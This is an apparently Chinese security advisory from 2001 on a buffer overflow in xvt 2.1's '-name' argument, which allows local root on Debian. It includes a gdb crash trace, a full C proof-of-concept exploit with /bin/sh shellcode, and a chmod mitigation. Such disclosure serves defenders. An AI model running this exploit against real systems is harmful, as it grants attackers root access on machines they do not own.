xvt "-name"缓冲区溢出漏洞
发布日期:2001-07-02
更新日期:2001-07-06
受影响系统:
John Bovey xvt 2.1
- Debian Linux 2.2
描述:
BUGTRAQ ID : 2955
xvt是一个适用于使用X11R6的系统的终端仿真软件。它经常被设置了setuid/setgid属性,
通常以较高的权限运行以便记录用户会话。
xvt在处理"-name"参数时存在一个缓冲区溢出问题,如果攻击者提供一个较长的参数,就
可能导致溢出发生,小心构造溢出数据,攻击者可能以xvt运行权限执行任意代码。
在某些系统上,例如debian linux,xvt被设置了setuid root,攻击者就可能获取root权限。
<*来源:Christophe Bailleux (
cb@t-online.fr) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Christophe Bailleux (
cb@t-online.fr)提供了如下测试代码:
$ ls -l /usr/bin/X11/xvt
-rwsr-xr-x 1 root root 50288 Mar 26 2000 /usr/bin/X11/xvt
$ xvt -V
xvt version 2.1
$ xvt -name `perl -e 'print "A"x234'`
Segmentation fault (core dumped)
$
tshaw:~$ gdb --core core
GNU gdb 5.0
<snip>
Core was generated by `xvt -name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb)
--- expl.c ---
/*
/usr/bin/X11/xvt overflow proof of concept by cb@t-online.fr.
tshaw:~$ ./expl
bash#
*/
#include <stdio.h>
#include <stdlib.h>
int main()
{
char buf[234];
int i;
char code[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
for(i=0; i<76; i++)
buf[i] = 0x41;
*(long *)&buf[76]=0xbffffab0; /* ret addr */
memset(buf + 80, 0x90, 234);
memcpy(buf + 233 - strlen(code), code, strlen(code));
buf[234] = '\0';
execl("/usr/bin/X11/xvt", "xvt", "-name", buf, 0);
}
--- expl.c ---
建议:
解决方法:
暂时去掉xvt的setuid/setgid属性:
# chmod a-s /usr/bin/X11/xvt
厂商补丁:
暂无。
浏览次数:3736
严重程度:0(网友投票)